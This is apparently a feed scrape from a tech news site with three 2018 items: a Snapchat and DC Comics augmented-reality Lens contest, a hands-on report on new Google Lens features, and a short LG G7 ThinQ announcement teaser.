A DC-themed Snapchat Lens could get you into Comic-Con https://briefnews.eu/a-dc-themed-snapchat-lens-could-get-you-into-comic-con/ https://briefnews.eu/a-dc-themed-snapchat-lens-could-get-you-into-comic-con/#respond Mon, 11 Jun 2018 08:00:22 +0000 http://briefnews.eu/a-dc-themed-snapchat-lens-could-get-you-into-comic-con/

You’re not completely hosed if you missed your chance to attend San Diego Comic-Con… if you’re willing to dabble in some augmented reality art. Snap and DC Comics have launched a DC Super Heroes Challenge that asks you to create a DC-themed Lens championing Batman, Superman and Wonder Woman for the chance to win an expenses-paid trip to San Diego Comic-Con in July. You don’t have to start completely from scratch, thankfully, as there’s a load of DC assets to bring into Lens Studio.

The Challenge is open to Americans, and you have until the night of July 8th to submit your AR masterwork.

This is Snap’s first Lens Studio Challenge involving a big-name brand, and it hints at how the company might spur you to create Lenses in the future — if your artistic muse isn’t enough to make it happen, a tangible reward might. No, Snapchat isn’t about claim a decisive victory over Facebook in the AR space as a result of this contest. However, it might give you a reason to keep returning to Snapchat (whether or not you’re a creator) when you’d otherwise drift away.

Source: Snapchat, DC Comics

]]>
https://briefnews.eu/a-dc-themed-snapchat-lens-could-get-you-into-comic-con/feed/ 0
Google Lens hands-on: Copy-and-paste the real world to your phone https://briefnews.eu/google-lens-hands-on-copy-and-paste-the-real-world-to-your-phone/ https://briefnews.eu/google-lens-hands-on-copy-and-paste-the-real-world-to-your-phone/#respond Wed, 09 May 2018 13:53:12 +0000 http://briefnews.eu/google-lens-hands-on-copy-and-paste-the-real-world-to-your-phone/

Google may have teased us with exciting new AR features for the Maps app, but it’s not forgetting to make its Lens camera more useful, either. Since its launch last year, Lens has rolled out to iOS and gained a few skills, like identifying cat and dog breeds. At its I/O developer conference today, Google announced three new features for Lens — Smart Text Selection, Style Match and Real-time results. After checking it out here at the show, I’m most intrigued by the text-recognition tools, which actually seem useful.

What Smart Text Selection does is scan words in documents around you and let you interact with them in your phone. For example, point your camera at a menu, tap on it and see explanations for dishes you aren’t familiar with. During our demo, a Google rep used Lens to snap a picture of a book’s inside cover, and highlighted the text in the photo. Just like you’d expect with words in a messaging or editing app, a menu popped up to let you copy your selection to paste elsewhere. I was already impressed by the fact that this even worked, but was even more pleased when I saw that the words in the picture didn’t have to be perfectly aligned for Lens to recognize them.

Style Match is a more familiar tool that’s similar to Amazon’s Firefly, or AR View, or any number of similar visual shopping features. Scan a blouse or a quirky lamp that you like, and a blue dot appears on top of it. Tap that, and Lens will display a list of items it’s found that are similar to it in style. A couple times during our demo, Lens even found the exact clothes or shoes we scanned, and showed them as the first in a list of other similar products. Lens didn’t simply return clones of the floral shirts and brown shoes that Google placed in its booth, either. There was a nice variety of stuff that resembled the original, but differed in small ways. This is great for people who are looking for more options but don’t want to buy, say, five of the same shirt.

Finally, there’s “real-time results,” which isn’t so much a new feature as it is a general interface improvement. Instead of having to press a shutter button and wait for Google Lens to process the image, the app will be able to overlay information on objects in the viewfinder in real time. So as a Google rep swept his camera across the room, I saw dots bubble up on the screen, indicating that Lens was finding items. In a couple of seconds, blue tags appeared on items like a blouse or a book, meaning more information for those things was available. On the LG G7 that our rep used for the demo, this all happened quickly, with only minor noticeable delays as Lens analyzed the scene.

Speaking of, the G7 is one of the first phones to get Google Lens built into its native camera app, alongside the Pixel phones. More handsets from brands like Sony will get this baked in later this year as well. That’s a nice convenience and saves users the hassle of having to install a new app that would take up space in an apps list.

All told, I’m most excited by the coming text integration feature. It seems to be the most useful, and I can see myself taking photos of leaflets, poems, press releases, specs sheets or contracts and pasting the words into my note-taking apps. We’ll have to wait till the updates roll out “in the next few weeks” to know how effective they’ll be outside of a demo situation, but until then I’m cautiously hopeful that the new features will make for a much more useful Lens.

Click here to read all the news from Google I/O 2018!

]]>
https://briefnews.eu/google-lens-hands-on-copy-and-paste-the-real-world-to-your-phone/feed/ 0
LG G7 ThinQ features a dedicated button for Google Assistant and Google Lens https://briefnews.eu/lg-g7-thinq-features-a-dedicated-button-for-google-assistant-and-google-lens/ https://briefnews.eu/lg-g7-thinq-features-a-dedicated-button-for-google-assistant-and-google-lens/#respond Wed, 02 May 2018 07:46:47 +0000 http://briefnews.eu/lg-g7-thinq-features-a-dedicated-button-for-google-assistant-and-google-lens/


LG will be unveiling the LG G7 ThinQ at simultaneous events in New York City (May 2) and Seoul (May 3). As with the LG V30S ThinQ, announced in February, we got our hands on the release a few hours early. Here are the official LG G7 ThinQ details and specs, minus pricing and exact launch dates. The LG G7 ThinQ will arrive in South Korea first, some…Read More

]]>
https://briefnews.eu/lg-g7-thinq-features-a-dedicated-button-for-google-assistant-and-google-lens/feed/ 0